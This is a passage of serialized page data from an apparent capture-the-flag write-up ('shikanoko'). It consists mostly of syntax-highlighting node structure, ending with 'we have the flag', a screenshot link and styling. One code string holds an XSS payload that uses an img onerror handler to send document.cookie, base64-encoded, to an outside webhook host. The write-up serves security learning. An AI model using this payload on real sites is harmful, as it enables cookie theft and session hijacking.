tyle":96},[10628],{"type":37,"value":3403},{"type":32,"tag":83,"props":10630,"children":10631},{"style":3406},[10632],{"type":37,"value":8196},{"type":32,"tag":83,"props":10634,"children":10635},{"style":96},[10636],{"type":37,"value":3414},{"type":32,"tag":83,"props":10638,"children":10639},{"style":1664},[10640],{"type":37,"value":33},{"type":32,"tag":83,"props":10642,"children":10643},{"style":96},[10644],{"type":37,"value":3226},{"type":32,"tag":83,"props":10646,"children":10647},{"class":85,"line":156},[10648,10652,10656,10660,10664,10668,10672,10676,10680,10684,10688,10692,10696,10700,10704,10708,10712,10716,10720,10724,10728,10732,10736],{"type":32,"tag":83,"props":10649,"children":10650},{"style":96},[10651],{"type":37,"value":3296},{"type":32,"tag":83,"props":10653,"children":10654},{"style":1664},[10655],{"type":37,"value":3543},{"type":32,"tag":83,"props":10657,"children":10658},{"style":1627},[10659],{"type":37,"value":8224},{"type":32,"tag":83,"props":10661,"children":10662},{"style":96},[10663],{"type":37,"value":3248},{"type":32,"tag":83,"props":10665,"children":10666},{"style":102},[10667],{"type":37,"value":688},{"type":32,"tag":83,"props":10669,"children":10670},{"style":108},[10671],{"type":37,"value":3194},{"type":32,"tag":83,"props":10673,"children":10674},{"style":102},[10675],{"type":37,"value":688},{"type":32,"tag":83,"props":10677,"children":10678},{"style":1627},[10679],{"type":37,"value":3548},{"type":32,"tag":83,"props":10681,"children":10682},{"style":96},[10683],{"type":37,"value":3248},{"type":32,"tag":83,"props":10685,"children":10686},{"style":102},[10687],{"type":37,"value":688},{"type":32,"tag":83,"props":10689,"children":10690},{"style":108},[10691],{"type":37,"value":37},{"type":32,"tag":83,"props":10693,"children":10694},{"style":102},[10695],{"type":37,"value":688},{"type":32,"tag":83,"props":10697,"children":10698},{"style":1627},[10699],{"type":37,"value":3343},{"type":32,"tag":83,"props":10701,"children":10702},{"style":96},[10703],{"type":37,"value":3248},{"type":32,"tag":83,"props":10705,"children":10706},{"style":102},[10707],{"type":37,"value":688},{"type":32,"tag":83,"props":10709,"children":10710},{"style":108},[10711],{"type":37,"value":9703},{"type":32,"tag":83,"props":10713,"children":10714},{"style":102},[10715],{"type":37,"value":688},{"type":32,"tag":83,"props":10717,"children":10718},{"style":1627},[10719],{"type":37,"value":3589},{"type":32,"tag":83,"props":10721,"children":10722},{"style":96},[10723],{"type":37,"value":3248},{"type":32,"tag":83,"props":10725,"children":10726},{"style":102},[10727],{"type":37,"value":688},{"type":32,"tag":83,"props":10729,"children":10730},{"style":108},[10731],{"type":37,"value":3602},{"type":32,"tag":83,"props":10733,"children":10734},{"style":102},[10735],{"type":37,"value":688},{"type":32,"tag":83,"props":10737,"children":10738},{"style":96},[10739],{"type":37,"value":3226},{"type":32,"tag":83,"props":10741,"children":10742},{"class":85,"line":174},[10743,10747,10751],{"type":32,"tag":83,"props":10744,"children":10745},{"style":96},[10746],{"type":37,"value":9840},{"type":32,"tag":83,"props":10748,"children":10749},{"style":1664},[10750],{"type":37,"value":3456},{"type":32,"tag":83,"props":10752,"children":10753},{"style":96},[10754],{"type":37,"value":3226},{"type":32,"tag":83,"props":10756,"children":10757},{"class":85,"line":192},[10758,10762,10766],{"type":32,"tag":83,"props":10759,"children":10760},{"style":96},[10761],{"type":37,"value":9792},{"type":32,"tag":83,"props":10763,"children":10764},{"style":1664},[10765],{"type":37,"value":3728},{"type":32,"tag":83,"props":10767,"children":10768},{"style":96},[10769],{"type":37,"value":3226},{"type":32,"tag":83,"props":10771,"children":10772},{"class":85,"line":205},[10773,10777,10781,10785,10789],{"type":32,"tag":83,"props":10774,"children":10775},{"style":96},[10776],{"type":37,"value":10221},{"type":32,"tag":83,"props":10778,"children":10779},{"style":1610},[10780],{"type":37,"value":2488},{"type":32,"tag":83,"props":10782,"children":10783},{"style":96},[10784],{"type":37,"value":1879},{"type":32,"tag":83,"props":10786,"children":10787},{"style":96},[10788],{"type":37,"value":1705},{"type":32,"tag":83,"props":10790,"children":10791},{"style":96},[10792],{"type":37,"value":875},{"type":32,"tag":83,"props":10794,"children":10795},{"class":85,"line":219},[10796,10800,10804,10808,10812,10816,10820,10824,10828,10832,10836,10840,10844,10848,10852,10856,10860,10864],{"type":32,"tag":83,"props":10797,"children":10798},{"style":1610},[10799],{"type":37,"value":8366},{"type":32,"tag":83,"props":10801,"children":10802},{"style":1616},[10803],{"type":37,"value":8371},{"type":32,"tag":83,"props":10805,"children":10806},{"style":96},[10807],{"type":37,"value":1722},{"type":32,"tag":83,"props":10809,"children":10810},{"style":96},[10811],{"type":37,"value":2187},{"type":32,"tag":83,"props":10813,"children":10814},{"style":1627},[10815],{"type":37,"value":8384},{"type":32,"tag":83,"props":10817,"children":10818},{"style":96},[10819],{"type":37,"value":1654},{"type":32,"tag":83,"props":10821,"children":10822},{"style":96},[10823],{"type":37,"value":1705},{"type":32,"tag":83,"props":10825,"children":10826},{"style":1610},[10827],{"type":37,"value":1672},{"type":32,"tag":83,"props":10829,"children":10830},{"style":90},[10831],{"type":37,"value":1677},{"type":32,"tag":83,"props":10833,"children":10834},{"style":96},[10835],{"type":37,"value":1624},{"type":32,"tag":83,"props":10837,"children":10838},{"style":1627},[10839],{"type":37,"value":1687},{"type":32,"tag":83,"props":10841,"children":10842},{"style":96},[10843],{"type":37,"value":1705},{"type":32,"tag":83,"props":10845,"children":10846},{"style":1616},[10847],{"type":37,"value":8417},{"type":32,"tag":83,"props":10849,"children":10850},{"style":96},[10851],{"type":37,"value":1624},{"type":32,"tag":83,"props":10853,"children":10854},{"style":1627},[10855],{"type":37,"value":1687},{"type":32,"tag":83,"props":10857,"children":10858},{"style":96},[10859],{"type":37,"value":1635},{"type":32,"tag":83,"props":10861,"children":10862},{"style":1627},[10863],{"type":37,"value":8434},{"type":32,"tag":83,"props":10865,"children":10866},{"style":96},[10867],{"type":37,"value":8439},{"type":32,"tag":83,"props":10869,"children":10870},{"class":85,"line":232},[10871,10875,10879,10883,10887],{"type":32,"tag":83,"props":10872,"children":10873},{"style":1664},[10874],{"type":37,"value":8447},{"type":32,"tag":83,"props":10876,"children":10877},{"style":1616},[10878],{"type":37,"value":8371},{"type":32,"tag":83,"props":10880,"children":10881},{"style":96},[10882],{"type":37,"value":1624},{"type":32,"tag":83,"props":10884,"children":10885},{"style":454},[10886],{"type":37,"value":8460},{"type":32,"tag":83,"props":10888,"children":10889},{"style":96},[10890],{"type":37,"value":1812},{"type":32,"tag":83,"props":10892,"children":10893},{"class":85,"line":245},[10894,10898,10902,10906,10910,10915,10920,10925],{"type":32,"tag":83,"props":10895,"children":10896},{"style":1627},[10897],{"type":37,"value":10343},{"type":32,"tag":83,"props":10899,"children":10900},{"style":96},[10901],{"type":37,"value":627},{"type":32,"tag":83,"props":10903,"children":10904},{"style":1627},[10905],{"type":37,"value":3811},{"type":32,"tag":83,"props":10907,"children":10908},{"style":96},[10909],{"type":37,"value":1722},{"type":32,"tag":83,"props":10911,"children":10912},{"style":102},[10913],{"type":37,"value":10914}," `",{"type":32,"tag":83,"props":10916,"children":10917},{"style":108},[10918],{"type":37,"value":10919},"http://proxy/?html=\u003Cinput name=\"aaa\" value=\">{{VALUE}}hello\u003Cimg src=x onerror=window.location='https://webhook/?flag='+btoa(document.cookie)>\" data-value=\"DDDDD{{VALUE}}aaaaa id=asrc=x name=\"ooo\" type=\"image\">",{"type":32,"tag":83,"props":10921,"children":10922},{"style":102},[10923],{"type":37,"value":10924},"`",{"type":32,"tag":83,"props":10926,"children":10927},{"style":96},[10928],{"type":37,"value":1558},{"type":32,"tag":83,"props":10930,"children":10931},{"class":85,"line":258},[10932,10936,10940,10944,10948,10952,10956,10960,10964,10968],{"type":32,"tag":83,"props":10933,"children":10934},{"style":1627},[10935],{"type":37,"value":8509},{"type":32,"tag":83,"props":10937,"children":10938},{"style":96},[10939],{"type":37,"value":1722},{"type":32,"tag":83,"props":10941,"children":10942},{"style":1627},[10943],{"type":37,"value":4600},{"type":32,"tag":83,"props":10945,"children":10946},{"style":96},[10947],{"type":37,"value":627},{"type":32,"tag":83,"props":10949,"children":10950},{"style":1616},[10951],{"type":37,"value":8526},{"type":32,"tag":83,"props":10953,"children":10954},{"style":96},[10955],{"type":37,"value":1624},{"type":32,"tag":83,"props":10957,"children":10958},{"style":102},[10959],{"type":37,"value":688},{"type":32,"tag":83,"props":10961,"children":10962},{"style":108},[10963],{"type":37,"value":3194},{"type":32,"tag":83,"props":10965,"children":10966},{"style":102},[10967],{"type":37,"value":688},{"type":32,"tag":83,"props":10969,"children":10970},{"style":96},[10971],{"type":37,"value":1812},{"type":32,"tag":83,"props":10973,"children":10974},{"class":85,"line":271},[10975,10979,10983,10987,10991,10995,10999,11003],{"type":32,"tag":83,"props":10976,"children":10977},{"style":1627},[10978],{"type":37,"value":8509},{"type":32,"tag":83,"props":10980,"children":10981},{"style":96},[10982],{"type":37,"value":627},{"type":32,"tag":83,"props":10984,"children":10985},{"style":1627},[10986],{"type":37,"value":2792},{"type":32,"tag":83,"props":10988,"children":10989},{"style":96},[10990],{"type":37,"value":1722},{"type":32,"tag":83,"props":10992,"children":10993},{"style":102},[10994],{"type":37,"value":727},{"type":32,"tag":83,"props":10996,"children":10997},{"style":108},[10998],{"type":37,"value":8136},{"type":32,"tag":83,"props":11000,"children":11001},{"style":102},[11002],{"type":37,"value":688},{"type":32,"tag":83,"props":11004,"children":11005},{"style":96},[11006],{"type":37,"value":1558},{"type":32,"tag":83,"props":11008,"children":11009},{"class":85,"line":284},[11010,11014,11018,11022,11026,11030,11034,11038,11042,11046],{"type":32,"tag":83,"props":11011,"children":11012},{"style":1610},[11013],{"type":37,"value":8589},{"type":32,"tag":83,"props":11015,"children":11016},{"style":1627},[11017],{"type":37,"value":6257},{"type":32,"tag":83,"props":11019,"children":11020},{"style":96},[11021],{"type":37,"value":1722},{"type":32,"tag":83,"props":11023,"children":11024},{"style":1610},[11025],{"type":37,"value":1672},{"type":32,"tag":83,"props":11027,"children":11028},{"style":1616},[11029],{"type":37,"value":8606},{"type":32,"tag":83,"props":11031,"children":11032},{"style":96},[11033],{"type":37,"value":1624},{"type":32,"tag":83,"props":11035,"children":11036},{"style":102},[11037],{"type":37,"value":1544},{"type":32,"tag":83,"props":11039,"children":11040},{"style":108},[11041],{"type":37,"value":6202},{"type":32,"tag":83,"props":11043,"children":11044},{"style":102},[11045],{"type":37,"value":1544},{"type":32,"tag":83,"props":11047,"children":11048},{"style":96},[11049],{"type":37,"value":1812},{"type":32,"tag":83,"props":11051,"children":11052},{"class":85,"line":297},[11053,11057,11061,11065,11069,11073],{"type":32,"tag":83,"props":11054,"children":11055},{"style":1627},[11056],{"type":37,"value":8509},{"type":32,"tag":83,"props":11058,"children":11059},{"style":96},[11060],{"type":37,"value":627},{"type":32,"tag":83,"props":11062,"children":11063},{"style":1616},[11064],{"type":37,"value":8642},{"type":32,"tag":83,"props":11066,"children":11067},{"style":96},[11068],{"type":37,"value":1624},{"type":32,"tag":83,"props":11070,"children":11071},{"style":1627},[11072],{"type":37,"value":6228},{"type":32,"tag":83,"props":11074,"children":11075},{"style":96},[11076],{"type":37,"value":1812},{"type":32,"tag":83,"props":11078,"children":11079},{"class":85,"line":310},[11080],{"type":32,"tag":83,"props":11081,"children":11082},{"style":96},[11083],{"type":37,"value":8662},{"type":32,"tag":83,"props":11085,"children":11086},{"class":85,"line":323},[11087,11091,11095],{"type":32,"tag":83,"props":11088,"children":11089},{"style":96},[11090],{"type":37,"value":9840},{"type":32,"tag":83,"props":11092,"children":11093},{"style":1664},[11094],{"type":37,"value":3728},{"type":32,"tag":83,"props":11096,"children":11097},{"style":96},[11098],{"type":37,"value":3226},{"type":32,"tag":83,"props":11100,"children":11101},{"class":85,"line":340},[11102,11106,11110],{"type":32,"tag":83,"props":11103,"children":11104},{"style":96},[11105],{"type":37,"value":3414},{"type":32,"tag":83,"props":11107,"children":11108},{"style":1664},[11109],{"type":37,"value":3194},{"type":32,"tag":83,"props":11111,"children":11112},{"style":96},[11113],{"type":37,"value":3226},{"type":32,"tag":46,"props":11115,"children":11116},{},[11117],{"type":37,"value":11118},"And voilà, we have the flag:",{"type":32,"tag":57,"props":11120,"children":11122},{"imgSrc":11121},"https://res.cloudinary.com/dmju5zuhr/image/upload/v1731972549/writeups/shikanoko/response_from_bot_flag.webp",[],{"type":32,"tag":11124,"props":11125,"children":11126},"style",{},[11127],{"type":37,"value":11128},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":119,"depth":86,"links":11130},[11131,11132,11133,11134,11135,11136],{"id":41,"depth":119,"text":44},{"id":610,"depth":119,"text":613},{"id":3171,"depth":119,"text":3174},{"id":7995,"depth":119,"text":625},{"id":8756,"depth":119,"text":8759},{"id":9738,"depth":119,"text":9741},"markdown","content:writeups:shikanoko.md","content","writeups/shikanoko.md","writeups/shikanoko","md",1749027224493]